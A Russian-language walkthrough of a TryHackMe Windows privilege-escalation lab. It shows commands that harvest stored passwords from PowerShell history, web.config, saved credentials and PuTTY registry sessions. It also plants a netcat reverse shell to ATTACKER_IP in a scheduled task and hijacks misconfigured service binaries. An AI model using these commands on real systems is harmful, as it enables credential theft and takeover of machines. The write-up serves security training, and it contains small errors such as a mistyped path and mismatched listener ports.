TryHackMe - Эскалация привилегий в Windows
Различные способы повышения привилегий в Windows
Введение
Эскалация привилегий — обязательный этап в пентестинге и хакинге в целом, так как она позволяет получить полный доступ к удалённой машине.
Это Windows‑сторона вопроса.
Что такое эскалация привилегий?
- Эскалация привилегий — это процесс получения более высокого уровня доступа или прав в системе, чем было выдано изначально.
2 основных типа эскалации привилегий:
-
Вертикальная эскалация привилегий (Privilege Elevation) — атакующий получает более высокий уровень прав, например, переходит от обычного пользователя к администратору или root‑доступу. Чаще всего это происходит за счёт уязвимостей ПО, неправильных настроек или кражи учётных данных.
-
Горизонтальная эскалация привилегий — атакующий остаётся на том же уровне прав, но получает доступ к аккаунту или ресурсам другого пользователя. Например, обычный пользователь может получить доступ к приватным данным другого пользователя.
Эскалация привилегий в Windows
- Пользователи Windows делятся на 2 группы:
Administrators— пользователи с наибольшими привилегиями. Они могут изменять любые системные настройки и получать доступ к любым файлам в системе.Standard Users— пользователи с ограниченными правами. Обычно они не могут вносить постоянные или критически важные изменения в систему и ограничены своими файлами.
- Встроенные учётные записи:
SYSTEM / LocalSystem— учётная запись с наивысшими привилегиями, даже выше администратора, с полным доступом к системе.Local Service— запускает службы с минимальными привилегиями и использует анонимные сетевые подключения.Network Service— запускает службы с минимальными привилегиями и использует учётные данные компьютера для сетевой аутентификации.
Пользователи, которые могут изменять системные настройки, относятся к какой группе?
Ответ:
1
Administrators
Учётная запись SYSTEM имеет больше привилегий, чем пользователь Administrator (да/нет)
1
aye
Сбор паролей из типичных мест
Пароль пользователя julia.jones был оставлен в истории PowerShell. Какой это пароль?
1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
На удалённом хосте запущен веб‑сервер. Найдите любой интересный пароль в файлах web.config, связанных с IIS. Какой пароль у пользователя db_admin?
Итак, мы просто используем команду, предоставленную в задании, на нашей скомпрометированной Windows‑машине
1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
В учётных данных Windows сохранён пароль. Используя cmdkey и runas, запустите оболочку от имени mike.katz и получите флаг с его рабочего стола.
Итак, мы используем шаги, предоставленные в задании.
1
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe
Открывается новое окно cmd, и теперь мы проверяем флаг
Получите сохранённый пароль из сохранённой сессии PuTTY в вашем профиле. Какой пароль у пользователя thom.smith?
1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Другие быстрые способы (Quick Wins)
По сути, это Windows‑аналог cron‑заданий в Linux.
Файл schtask.bat — это наш cronjob, поэтому нам нужно записать туда наш shell, и когда он выполнится, мы получим shell
1
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
Запускаем netcat‑слушатель на нашей атакующей машине
1
2
nc -lvnp 1337
listening on [any] 1337 ...
И запускаем schtasks на машине‑жертве
1
C:\> schtasks /run /tn vulntask
И мы получаем подключение
И просто читаем флаг
Злоупотребление неправильной конфигурацией сервисов
У нас есть права на изменение WService.exe
Используем предоставленный payload
Теперь запускаем HTTP‑сервер локально
1
python3 -m http.server 80
Окей, для этого нам нужно использовать PowerShell
ОК, похоже, файл не скачивается. После небольшого расследования я выяснил, что нужно указать выходной файл с помощью флага -O
- Перемещаем файл туда, где находится
WService - Назначаем необходимые права доступа к файлу
Теперь запускаем netcat‑слушатель и перезапускаем процесс WindowsScheduler, чтобы наш reverse shell выполнился
1
nc -lvnp 1337
1
C:\Users\thm-unpriv> sc stop windowsscheduler
И мы получаем подключение
Флаг находится в C:\Users\svcusr1\Desktop
Для второго флага мы выполняем тот же самый процесс, но с Disk.exe. Единственное отличие — перезапуск процесса с использованием кавычек, так как в имени процесса есть пробелы
1
2
sc stop "disk sorter enterprise"
sc stop "disk sorter enterprise"
Флаг находится в C:\Users\svcusr2\Desktop
Для последнего флага процесс точно такой же, но вместо этого мы изменим путь к бинарному файлу THMService
1
2
3
sc config THMService binPath= "C:\Isers\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc stop THMService
sc start THMService
Флаг находится в C:\Users\Administrator\Desktop














